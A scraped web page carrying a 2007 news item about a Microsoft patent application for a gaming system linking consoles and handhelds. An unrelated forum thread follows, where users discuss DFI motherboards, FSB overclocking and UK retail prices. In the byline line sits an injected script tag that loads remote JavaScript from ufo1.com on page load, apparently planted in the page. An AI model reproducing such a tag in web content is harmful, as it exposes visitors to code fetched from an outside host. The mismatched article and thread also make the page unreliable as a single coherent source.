Microsoft Patent Reveals Future Multi-Component Gaming System

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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 24/04/07
Author: PV5150
Source: DailyTech

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According to our online source Microsoft's next games machine may be multi-faceted with console and handheld interdependence. Microsoft has filed an application for patent with the US patent office which may reveal what its intentions are for its next-gen console.

The patent describes a multi-component gaming system that incorporates both handheld devices and console devices by wired and wireless connections. The patent’s abstract describes the system as a process "to take advantage of another gaming component's processing capabilities and memory capacity, each gaming component is capable of utilizing another gaming component to process gaming applications."

With Microsoft’s ever expanding reach into consumer electronics and software to power them, the company’s next goal may be to have a wide array of devices work together to perform a single goal – and if this patent application is of any indication, video games could where we may first see it. For example, Microsoft’s multi-component game system could incorporate PDA or other mobile devices running Windows Mobile as a communication tool, or simply as a secondary mini-display. The Zune could be a source for video game custom soundtracks, or as another small screen. Perhaps where the most potential will be, however, is in a relationship with the PC. With the proposed system’s ability to band together processing capability and memory capacity, Microsoft’s next-generation console could be one with true hardware evolution possibilities.

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It's no secret that Microsoft are currently working on the eventual successor to the XBOX 360 , but is this the evolution of the gaming console that you'd envisaged?

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23-04-2007, 19:42:10

Bogel

These DFI boards are very cheap ;)
I'm planning to get one. But I live in the US :p hehe prices here are $140 USD :D



I dont think that is half bad, considering what it can do :yumyum: But then again i have been saving up to get a new mobo.

23-04-2007, 20:22:12

Ham

to HAM, the quadgt is a great board IMO, the only thing is its hard to oc your ram on that board other then 1:1 which works great and the VMCH has to be really high for the fsb, to pull 500 on the quadgt i ran 1.55 to 1.6 vmch, and the vtt has to be run up there also

but the board is very stable and fast, they finally got some bios fixes out for the board which was its big downfall when it came out, i like mine and wont get rid of it, i jsut wanted to try this dfi out for a while

ive gotten my quadgt up to 525 fsb with stock NB cooling, ive scene people get as high as 550 give or take a few



Wow, ive just checked out a big long thread about it on XS and for the price :eek: tbh.

All that for £105!?!

23-04-2007, 22:19:58

Joe

if the price is right(below Commando price) i'll be VERY VERY interested.

together with new ATi GFX, mucho cheapo C2D, i'll be broke again!

LOL



funny readin ur quoted post and then ur sig in sequence

24-04-2007, 08:20:42

weihk

funny readin ur quoted post and then ur sig in sequence



my sig......its the truth in this day and age......

sad but true eh?

08-05-2007, 18:55:36

Ham
Anyone seen/heard anything more about the UK release?

/puts down thread shovel.

23-05-2007, 06:52:35

IAmATeaf
DFI have come way too late to the party, they are still trying to launch a P965 mobo whilst others have all moved onto the P35 chipset and beyond.

I actually waited for this board but gave up in the end and went with a DS3P in the end.

23-05-2007, 08:29:43

Ham
They may be late but im betting the 965-S will trounce every other 965 board at a good price. Once theyve worked out the bugs.

23-05-2007, 12:15:22

weihk

They may be late but im betting the 965-S will trounce every other 965 board at a good price. Once theyve worked out the bugs.



overclockers has them in........i would get it if only my card let them take money.....:D not sure if thats a good thing or not, i think overclockers is blacklisted on my card:D :D :D :D

23-05-2007, 12:16:15

Ham
Im never buying from them. Ever.

24-05-2007, 05:21:49

IAmATeaf

overclockers has them in........i would get it if only my card let them take money.....:D not sure if thats a good thing or not, i think overclockers is blacklisted on my card:D :D :D :D



It's 117 +p+p so not really cheap, you can pick a P35 DS3P for a tenner less, I know which mobo I'd get :)
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